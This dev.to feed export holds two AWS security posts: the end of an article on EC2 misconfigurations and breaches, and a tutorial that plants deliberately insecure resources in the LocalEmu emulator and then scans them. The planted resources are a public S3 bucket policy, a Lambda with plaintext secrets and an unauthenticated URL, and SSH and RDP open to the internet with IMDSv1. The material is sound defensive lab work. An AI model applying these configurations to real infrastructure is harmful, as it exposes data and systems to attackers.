&lt;p&gt;Sound familiar? An EC2 instance with &lt;code&gt;**_AdministratorAccess_**&lt;/code&gt; or wildcard &lt;code&gt;**_\*:\*_**&lt;/code&gt; permissions is a lateral movement goldmine. One compromised instance means the attacker owns your entire AWS account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unencrypted EBS Volumes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;EBS volumes contain your data. Your databases, your application state, your logs. Without encryption at rest, anyone with physical access to the underlying hardware, or anyone who steals a snapshot, can read it all. AWS offers free EBS encryption. There’s no excuse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Public EBS Snapshots&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This one is brutal. You take a snapshot of an EBS volume for backup. You set the permissions wrong. Now anyone with an AWS account can restore your snapshot, mount it, and read your entire disk. Database dumps, configuration files, SSH keys. Everything.&lt;/p&gt;

&lt;p&gt;In 2019, security researcher Ben Morris of Bishop Fox presented research at DEF CON 27 showing that publicly exposed EBS snapshots leaked passwords, SSH private keys, TLS certificates, application source code, and API keys from real organizations. He estimated as many as 1,250 exposures across AWS regions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Real-World EC2 Breaches
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Capital One (2019): 106 Million Records, $80M Fine&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The most famous EC2-related breach. A former AWS employee exploited a misconfigured WAF to perform SSRF against the EC2 metadata service (IMDSv1). She obtained temporary credentials from the IAM role attached to the instance, then used those credentials to access S3 buckets containing customer data. The root cause chain: misconfigured WAF, then IMDSv1, then an overprivileged IAM role, then unprotected S3 data. Capital One paid an $80 million regulatory fine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Imperva (2019): Database Credentials Stolen&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Imperva, a cybersecurity company, disclosed a breach affecting their Cloud WAF (Incapsula) product. An AWS API key was stolen from an internal EC2 instance that had an overly permissive security group. The stolen credentials led to access to a database snapshot containing customer email addresses and hashed passwords.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ongoing: Cryptomining Campaigns&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Compromised EC2 instances are a prime target for cryptomining. Attackers scan for instances with open ports, weak credentials, or exploitable metadata services, then deploy miners that rack up thousands in compute costs before anyone notices. Sysdig’s 2024 Global Threat Report found that cloud attackers can go from initial access to impact in &lt;strong&gt;10 minutes or less&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Compliance Problem
&lt;/h3&gt;

&lt;p&gt;If you’re in a regulated industry, EC2 misconfigurations aren’t just a security risk, they’re a compliance violation.&lt;/p&gt;

&lt;p&gt;CIS, AWS Foundational Security Best Practices, PCI DSS v4.0.1, HIPAA, SOC 2, ISO 27001, ISO 27017, ISO 27018, GDPR, NIST 800–53. Across these &lt;strong&gt;10 major frameworks&lt;/strong&gt; , there are &lt;strong&gt;137 controls&lt;/strong&gt; that map directly to EC2 security configurations.&lt;/p&gt;

&lt;p&gt;That’s 137 things auditors will check. 137 potential findings on your next report.&lt;/p&gt;

&lt;p&gt;None of this is theoretical. I’ve seen every item on this list in production environments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;46 Things That Can Go Wrong&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Instance security. Network security. Storage. Access control. Logging. Patching. Network exposure. Tagging.&lt;/p&gt;

&lt;p&gt;That’s 8 categories. &lt;strong&gt;46 distinct checks&lt;/strong&gt;. Each one represents a real attack vector, a real compliance gap, or a real operational risk.&lt;/p&gt;

&lt;p&gt;And most organizations fail at least a third of them.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Now?
&lt;/h3&gt;

&lt;p&gt;Running that command manually is just the beginning. There are 45 more things to check.&lt;/p&gt;

&lt;p&gt;In Part 2, I’ll show you how to check all of them with one command: an open-source scanner that scores every instance from 0 to 100 and maps each finding to 137 compliance controls across 10 frameworks. In Part 3, we’ll fix everything it finds.&lt;/p&gt;

&lt;p&gt;But first, go check if your security groups allow SSH from &lt;code&gt;**_0.0.0.0/0_**&lt;/code&gt;. Right now.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 describe-security-groups &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--filters&lt;/span&gt; &lt;span class="s2"&gt;"Name=ip-permission.from-port,Values=22"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
             &lt;span class="s2"&gt;"Name=ip-permission.to-port,Values=22"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
             &lt;span class="s2"&gt;"Name=ip-permission.cidr,Values=0.0.0.0/0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"SecurityGroups[*].[GroupId,GroupName]"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that returns results, you have work to do.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffesyqu66a68hqp3ht2co.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffesyqu66a68hqp3ht2co.png" alt="Check SSH Port" width="800" height="148"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sources:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="[https://www.datadoghq.com/state-of-cloud-security-2024/](https://www.datadoghq.com/state-of-cloud-security-2024/)"&gt;Datadog 2024 State of Cloud Security&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="[https://www.capitalone.com/digital/facts2019/](https://www.capitalone.com/digital/facts2019/)"&gt;Capital One Cyber Incident Official Statement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="[https://cams.mit.edu/wp-content/uploads/capitalonedatapaper.pdf](https://cams.mit.edu/wp-content/uploads/capitalonedatapaper.pdf)"&gt;MIT Case Study: Capital One Data Breach&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="[https://bishopfox.com/resources/def-con-27-2019-finding-secrets-in-publicly-exposed-ebs-volumes](https://bishopfox.com/resources/def-con-27-2019-finding-secrets-in-publicly-exposed-ebs-volumes)"&gt;Bishop Fox: Finding Secrets in Publicly Exposed EBS Volumes (DEF CON 27)&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="[https://www.sysdig.com/blog/sysdig-2024-global-threat-report](https://www.sysdig.com/blog/sysdig-2024-global-threat-report)"&gt;Sysdig 2024 Global Threat Report&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="[https://www.imperva.com/blog/ceoblog/](https://www.imperva.com/blog/ceoblog/)"&gt;Imperva Cloud WAF Breach Disclosure&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="[https://www.cisecurity.org/benchmark/amazon_web_services](https://www.cisecurity.org/benchmark/amazon_web_services)"&gt;CIS AWS Foundations Benchmark v5.0&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="[https://docs.aws.amazon.com/securityhub/latest/userguide/fsbp-standard.html](https://docs.aws.amazon.com/securityhub/latest/userguide/fsbp-standard.html)"&gt;AWS Foundational Security Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If you found this useful, follow me for more AWS security content. Part 2 drops next.&lt;/strong&gt;&lt;/p&gt;




</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>aws</category>
      <category>awsec2</category>
    </item>
    <item>
      <title>Build a Free AWS Security Lab on Your Laptop with LocalEmu</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Sun, 31 May 2026 11:00:30 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/build-a-free-aws-security-lab-on-your-laptop-with-localemu-3g88</link>
      <guid>https://dev.to/tarekcheikh/build-a-free-aws-security-lab-on-your-laptop-with-localemu-3g88</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;Spin up a local AWS, plant deliberately insecure resources, and run real security scanners against it. No account, no token, no cost, no risk.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fypbymmnor5inx7z5u3uh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fypbymmnor5inx7z5u3uh.png" alt="LocalEmu in action" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a better way. You can run a full AWS-compatible API locally, plant whatever insecure resources you want, point your security tools at it, and throw the whole thing away when you are done. This article shows how, end to end, with commands you can copy and run right now.&lt;/p&gt;

&lt;p&gt;We will use &lt;strong&gt;LocalEmu&lt;/strong&gt; as the local cloud and two open-source scanners to audit it. Everything here runs on your laptop and costs nothing.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is LocalEmu
&lt;/h3&gt;

&lt;p&gt;LocalEmu is a free, open-source AWS cloud emulator. It speaks the AWS APIs, so the same AWS CLI, boto3, Terraform, or CDK you already use work against it unchanged. You just point them at &lt;code&gt;http://localhost:4566&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It is a community fork of the LocalStack community edition, which was archived and put behind a mandatory account in March 2026. LocalEmu continues that codebase under Apache 2.0, free and tokenless. No account, no sign-up, no auth token.&lt;/p&gt;

&lt;p&gt;That last part is exactly what makes it a great security lab: there is no real account behind it. The emulator runs under the placeholder AWS account &lt;code&gt;000000000000&lt;/code&gt;, so nothing you do can touch, expose, or bill a real environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  What we are going to build
&lt;/h3&gt;

&lt;p&gt;A local “ &lt;strong&gt;&lt;em&gt;vulnerable by design&lt;/em&gt;&lt;/strong&gt; ” AWS environment, then audit it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start LocalEmu.&lt;/li&gt;
&lt;li&gt;Point the AWS CLI at it.&lt;/li&gt;
&lt;li&gt;Plant a public S3 bucket, a Lambda function with secrets, and a couple of exposed EC2 instances.&lt;/li&gt;
&lt;li&gt;Scan all three with real security scanners and read the findings and compliance scores.&lt;/li&gt;
&lt;li&gt;Fix an issue and re-scan to watch the score climb.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Total time: about ten minutes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Install and start LocalEmu
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;localemu[runtime]
localemu start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F886ewe36lm23fr19picp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F886ewe36lm23fr19picp.png" alt="LocalEmu in action" width="799" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You will see the banner and a &lt;code&gt;Ready.&lt;/code&gt; line. By default it listens on &lt;code&gt;localhost:4566&lt;/code&gt;. Docker is only needed for services that run a real engine in a sidecar (Lambda, ECS, EKS, RDS, EC2); everything else is pure Python.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Point the AWS CLI at LocalEmu
&lt;/h3&gt;

&lt;p&gt;The AWS CLI honors a handful of environment variables. Set the endpoint and some dummy credentials (any value works, since there is no real account):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ENDPOINT_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://localhost:4566
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AKIAIOSFODNN7EXAMPLE
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_DEFAULT_REGION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is it. From now on, &lt;code&gt;aws ...&lt;/code&gt; talks to your local cloud. Confirm it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;aws sts get-caller-identity
{
    "UserId": "AKIAIOSFODNN7EXAMPLE",
    "Account": "000000000000",
    "Arn": "arn:aws:iam::000000000000:root"
}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lo7i0x5cnn28djo7ygu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lo7i0x5cnn28djo7ygu.png" alt="LocalEmu in action" width="800" height="134"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Plant some insecure resources
&lt;/h3&gt;

&lt;p&gt;Let us create exactly the kind of thing a security scanner should scream about.&lt;/p&gt;

&lt;p&gt;A public, unencrypted S3 bucket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 mb s3://acme-public-website
aws s3api put-public-access-block &lt;span class="nt"&gt;--bucket&lt;/span&gt; acme-public-website &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--public-access-block-configuration&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nv"&gt;BlockPublicAcls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;,IgnorePublicAcls&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;,BlockPublicPolicy&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;,RestrictPublicBuckets&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false
&lt;/span&gt;aws s3api put-bucket-policy &lt;span class="nt"&gt;--bucket&lt;/span&gt; acme-public-website &lt;span class="nt"&gt;--policy&lt;/span&gt; &lt;span class="s1"&gt;'{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "PublicRead", "Effect": "Allow", "Principal": "*",
    "Action": "s3:GetObject", "Resource": "arn:aws:s3:::acme-public-website/*"
  }]
}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd87qir9v9ikr0jqgao3c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd87qir9v9ikr0jqgao3c.png" alt="LocalEmu in action" width="799" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A Lambda function with secrets sitting in plaintext environment variables and a public function URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'def handler(e, c): return {"ok": True}'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; handler.py
zip &lt;span class="k"&gt;function&lt;/span&gt;.zip handler.py

aws lambda create-function &lt;span class="nt"&gt;--function-name&lt;/span&gt; payment-processor &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.12 &lt;span class="nt"&gt;--handler&lt;/span&gt; handler.handler &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::000000000000:role/lambda-role &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://function.zip &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--environment&lt;/span&gt; &lt;span class="s1"&gt;'Variables={DB_PASSWORD=Sup3rS3cret!,STRIPE_SECRET_KEY=sk_live_51Hxxxx}'&lt;/span&gt;

aws lambda create-function-url-config &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; payment-processor &lt;span class="nt"&gt;--auth-type&lt;/span&gt; NONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fafmpsjp0ib446n1quyud.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fafmpsjp0ib446n1quyud.png" alt="LocalEmu in action" width="799" height="484"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And two EC2 instances with public IPs, the old IMDSv1 metadata service, and a security group that opens SSH and RDP to the entire internet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;SG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 create-security-group &lt;span class="nt"&gt;--group-name&lt;/span&gt; public-ssh-rdp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--description&lt;/span&gt; &lt;span class="s2"&gt;"open"&lt;/span&gt; &lt;span class="nt"&gt;--query&lt;/span&gt; GroupId &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;
aws ec2 authorize-security-group-ingress &lt;span class="nt"&gt;--group-id&lt;/span&gt; &lt;span class="nv"&gt;$SG&lt;/span&gt; &lt;span class="nt"&gt;--protocol&lt;/span&gt; tcp &lt;span class="nt"&gt;--port&lt;/span&gt; 22 &lt;span class="nt"&gt;--cidr&lt;/span&gt; 0.0.0.0/0
aws ec2 authorize-security-group-ingress &lt;span class="nt"&gt;--group-id&lt;/span&gt; &lt;span class="nv"&gt;$SG&lt;/span&gt; &lt;span class="nt"&gt;--protocol&lt;/span&gt; tcp &lt;span class="nt"&gt;--port&lt;/span&gt; 3389 &lt;span class="nt"&gt;--cidr&lt;/span&gt; 0.0.0.0/0

&lt;span class="nv"&gt;AMI&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 describe-images &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Images[0].ImageId'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;
aws ec2 run-instances &lt;span class="nt"&gt;--image-id&lt;/span&gt; &lt;span class="nv"&gt;$AMI&lt;/span&gt; &lt;span class="nt"&gt;--instance-type&lt;/span&gt; t2.micro &lt;span class="nt"&gt;--count&lt;/span&gt; 2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--security-group-ids&lt;/span&gt; &lt;span class="nv"&gt;$SG&lt;/span&gt; &lt;span class="nt"&gt;--associate-public-ip-address&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--metadata-options&lt;/span&gt; &lt;span class="s2"&gt;"HttpTokens=optional,HttpEndpoint=enabled"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu4c7t5tmhf1q9o3zyynb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu4c7t5tmhf1q9o3zyynb.png" alt="LocalEmu in action" width="800" height="486"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice we never left the laptop. No real bucket was ever public. No real secret was ever stored. No real instance was ever exposed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Scan it with real security scanners
&lt;/h3&gt;

&lt;p&gt;Now the fun part. Install two open-source scanners and run them against your local cloud. They use boto3, so they pick up the same &lt;code&gt;AWS_ENDPOINT_URL&lt;/code&gt; and hit LocalEmu automatically.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;s3-security-scanner lambda-security-scanner ec2-security-scanner
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan the buckets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;s3-security-scanner security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6oyeeryt10a55lkgiei0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6oyeeryt10a55lkgiei0.png" alt="LocalEmu in action" width="800" height="485"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You get a per-bucket score, a summary, and a multi-framework compliance breakdown, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;s3-security-scanner security
╔══════════════════════════════════════════════════════════╗
║ S3 Security Scanner - AWS S3 Security Analysis Tool ║
╚══════════════════════════════════════════════════════════╝
Starting S3 security analysis...

2026-05-31 12:39:08,680 - INFO - Found 1 S3 buckets in account 000000000000
Scanning 1 bucket(s)...

2026-05-31 12:39:08,818 - WARNING - Account 000000000000 missing account-level public access block
2026-05-31 12:39:08,819 - WARNING - GuardDuty S3 protection is not enabled for threat detection
2026-05-31 12:39:08,819 - WARNING - Macie S3 discovery is not enabled for sensitive data detection
⠋ Scanning 1 buckets...2026-05-31 12:39:08,819 - INFO - Scanning bucket: acme-public-website
2026-05-31 12:39:09,050 - INFO - Exported compliance report to ./output/s3_compliance_us-east-1_20260531_123909.json
2026-05-31 12:39:09,051 - INFO - Exported JSON report to ./output/s3_scan_us-east-1_20260531_123909.json
2026-05-31 12:39:09,051 - INFO - Exported CSV report to ./output/s3_scan_us-east-1_20260531_123909.csv
2026-05-31 12:39:09,070 - INFO - Exported HTML report to ./output/s3_scan_us-east-1_20260531_123909.html
   S3 Security Scan Summary - us-east-1
┏━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ Metric ┃ Value ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ Account ID │ 000000000000 │
│ Total Buckets │ 1 │
│ Average Security Score │ 20.0/100 │
│ Public Buckets │ 1 │
│ High Severity Issues │ 1 │
│ Medium Severity Issues │ 1 │
│ Public Objects Found │ 0 │
│ Sensitive Objects Found │ 0 │
└─────────────────────────┴──────────────┘
         Lowest Scoring Buckets
┏━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━┳━━━━━━━━┓
┃ Bucket ┃ Score ┃ Issues ┃
┡━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━╇━━━━━━━━┩
│ acme-public-website │ 20/100 │ 20 │
└─────────────────────┴────────┴────────┘
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the functions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lambda-security-scanner security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyjzk0jx0otlw0fplce1z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyjzk0jx0otlw0fplce1z.png" alt="LocalEmu in action" width="800" height="487"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;lambda-security-scanner security
╔══════════════════════════════════════════════════════════╗
║ Lambda Security Scanner ║
║ Comprehensive Lambda Security Auditing ║
╚══════════════════════════════════════════════════════════╝
  Version 1.0.0 | https://github.com/TocConsulting/lambda-security-scanner

Starting Lambda security analysis...

2026-05-31 12:42:45,525 - INFO - Found 1 Lambda functions in account 000000000000
Scanning 1 function(s)...

⠋ Scanning Lambda functions... 0/12026-05-31 12:42:45,615 - WARNING - AWS API error: An error occurred (NoSuchEntity) when calling the ListAttachedRolePolicies operation: Role lambda-role not found
⠙ Scanning Lambda functions... 0/1
         Overall Metrics
┏━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━┓
┃ Metric ┃ Value ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━┩
│ Total Functions │ 1 │
│ Scanned │ 1 │
│ Errors │ 0 │
│ Average Score │ 36.0 │
│ Public Functions │ 1 │
│ Functions with Secrets │ 1 │
│ Deprecated Runtimes │ 0 │
└────────────────────────┴───────┘
             Lowest Scoring Functions
┏━━━━━━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━━━┳━━━━━━━━━━━━┓
┃ Function ┃ Score ┃ Issues ┃ Runtime ┃
┡━━━━━━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━━━╇━━━━━━━━━━━━┩
│ payment-processor │ 36 │ 10 │ python3.12 │
└───────────────────┴───────┴────────┴────────────┘
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scanner flagged the public function URL, the secrets in the environment variables, and a dozen more issues, mapped against CIS, PCI-DSS, HIPAA, SOC 2, ISO, GDPR, and NIST. All on a function that exists only on your laptop.&lt;/p&gt;

